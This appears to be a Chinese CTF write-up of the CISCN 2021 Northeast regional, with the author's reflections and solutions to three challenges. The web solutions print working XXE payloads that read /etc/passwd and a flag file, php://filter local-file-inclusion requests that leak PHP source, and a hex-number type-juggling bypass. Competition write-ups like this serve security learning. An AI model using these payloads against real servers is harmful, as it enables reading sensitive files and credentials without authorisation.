ciscn2021东北赛区分区赛
++Spirit k1ling
感谢Dazz1e大佬陪我看了很久hh
summary
3720pt,rank11
晋级名单还没出,不过大概率是前10进,正好卡掉了,就差一步到罗马,真的意难平…
但是想想自己菜成这样全靠gs带也就释然了一些
这东西就跟S赛一样,今年没了你就要咽下所有的不甘,然后更加努力,等着明年杀回来
++Spirit绝不会止步于此
今年进第二轮之后改了个名,k某人想去ciscn决赛,去决赛之前不改名,不管哪年,flag立这了。
misc
签到
工具扫二维码即可
flag{this_is_flag!gogogo}
web
flagin
拿到题目,抓包发现表单内容是这样的
<user><username>1;</username><password>1</password></user>
怀疑是xxe
上payload
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
发现第一行被waf了,删掉
可以读到passwd,去读flag
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///flag.txt">
]>
回显读取flag的姿势不对
换协议filter
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=///flag.txt">
]>
回显一段base64
ZmxhZ3s0OTc5MDBhYThmMmZjNTU3NmI0ZGEzZmNkNzhjMDA4ZH0=
解
flag{497900aa8f2fc5576b4da3fcd78c008d}
be careful
进去环境看到file=1.php
猜测也可以读文件
file=///etc/passwd
可以读到内容
读一下index.php,没回显
猜测又是协议问题,换filter
file=php://filter/read=convert.base64-encode/resource=index.php
读到了index.php的源码
<html>
<title>I advise you to do good</title>
<?php
error_reporting(0);
if(!$_GET[file]){echo '<a href="./index.php?file=1.php">Be Careful</a>';}
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,'F14ggg.php')||stristr($file,"input")||stristr($file,"data")){
echo "I advise you to do good!";
exit();
}
include($file);
//real_flag.php
?>
</html>
可以看到不能路径穿越,不能ftp,不能直接访问flag等等
但是注释里面有一个real_flag.php
读一下
file=php://filter/read=convert.base64-encode/resource=real_flag.php
源码是这样的
<?php
include('F14ggg.php');
$a = $_GET['a'];
$one = ord('1');
$nine = ord('9');
$number = '69563214562';
for ($i = 0; $i < strlen($number); $i++)
{
$digit = ord($a{$i});
echo $digit;
if ( ($digit >= $one) && ($digit <= $nine) )
{
echo 'wrong';
}
elseif($number == $a)
{
echo $flag;
}
}
?>
可以看到,只要在11位长度之内,存在一位不是1-9之间的字符,并且使得$a与69563214562相等,即可echo $flag;
考虑hex绕过,原因有二:
- hex前缀是0x,必然不在1-9之内
- php可以比较16进制与10进制
因此请求 /real_flag.php?a=0x10324a6ae2
flag为
flag{ny2w6iezylnlamxfijufowhcpevjqdzd}